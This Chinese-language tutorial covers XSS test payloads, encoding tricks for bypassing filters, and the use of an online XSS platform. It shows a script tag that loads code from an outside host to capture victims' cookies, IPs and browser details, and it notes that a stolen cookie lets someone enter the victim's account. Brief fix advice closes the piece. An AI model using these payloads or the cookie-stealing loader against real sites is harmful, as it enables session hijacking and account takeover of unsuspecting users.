XSS平台簡單使用


XSS常用語句及編碼繞過

XSS常用的測試語句有:

  • <script>alert(1)</script>
  • <img src=x onerror=alert(1)>
  • <svg onload=alert(1)>
  • <a href=javascript:alert(1)>
    常見的XSS的繞過編碼有JS編碼、HTML實體編碼和URL編碼

JS編碼

JS提供了四種字符編碼的策略,如下所示。

  • 三個八進制數字,如果個數不夠,在前面補0,例如“e” 的編碼為“\145” ;
  • 兩個十六進制數字,如果個數不夠,在前面補0,例如"e" 的編碼為"\x65" ;
  • 四個十六進制數字,如果個數不夠,在前面補0,例如"e" 的編碼為“\u0065”;
  • 對於一些控制字符,使用特殊的C類型的轉義風格(例如和\r) 。

HTML實體編碼

  • 命名實體:以&開頭,以分號結尾的,例如"<"的編碼是"<" 。
  • 字符編碼:十進制、十六進制ASCII碼或Unicode字符編碼,樣式為"&#數值;",例如"<" 可以編碼為 "<" 和"<"

URL編碼

這里的URL編碼,也是兩次URL全編碼的結果。如果alert被過濾,結果為%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34。
在使用XSS編碼測試時,需要考慮HTML渲染的順序,特別是針對多種編碼組合時,要選擇合適的編碼方式進行測試。

使用XSS平台測試XSS漏洞

XSS在線平台
首先在XSS平台注冊賬並登錄,單擊"我的項目”中的“創建” 按鈕,頁面中的名稱和描述是分類的,隨意填寫即可。

勾選“默認模塊”選項后單擊"下一步”按鈕。這里不要太多模塊都勾選,非常非常容易導致JS報錯,如果報錯,那么可能你就收不到對方的中招信息了。盡量只勾選一個或兩個。這里說明一下,注意上方的紅框,這里最好是復制上方第一個紅色方框中的內容,例如:<sCRiPt sRC=//xyl.life/xxxx></sCrIpT> 這個就是項目給你的代碼,這里說一下你需要測試的網站是https的網站且你的XSS平台也支持https那么你可以把這個代碼改成 <sCRiPt sRC=https://xyl.life/xxxx></sCrIpT> 這樣。

這里還要說明一下,其實<sCRiPt sRC=//xyl.life/xxxx></sCrIpT>當網站前面是//的時候,代碼會自動適配網站,如果對方網站是https的那么代碼會自動從https加載,如果對方網站是http的那么代碼會從http加載。所以,默認的這種方式是最好的插入方式。頁面上顯示了多種利用代碼,在實際情況中, 一般會根據HTML源碼選擇合適的利用代碼,以此構造瀏覽器能夠執行的代碼,這里選擇第二種利用代碼。

將利用代碼插入到存在XSS漏洞的URL后,檢查瀏覽器緩存加載文件。發現瀏覽器成功執行XSS的利用代碼

然后如果對方中招了,那么你的XSS平台就會有收到對方的信息。
回到XSS平台,可以看到我們已經獲取了信息,其中包含來源地址、cookie、IP、 瀏覽器等,如果用戶處於登錄狀態,可修改cookie並進入該用戶的賬戶。

XSS漏洞修復建議

因為XSS漏洞涉及輸入和輸出兩部分,所以其修復也分為兩種。

  • 過濾輸入的數據,包括 '"<>on* 等非法字符。
  • 對輸出到頁面的數據進行相應的編碼轉換,包括HTML實體編碼、JavaScript編碼等。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM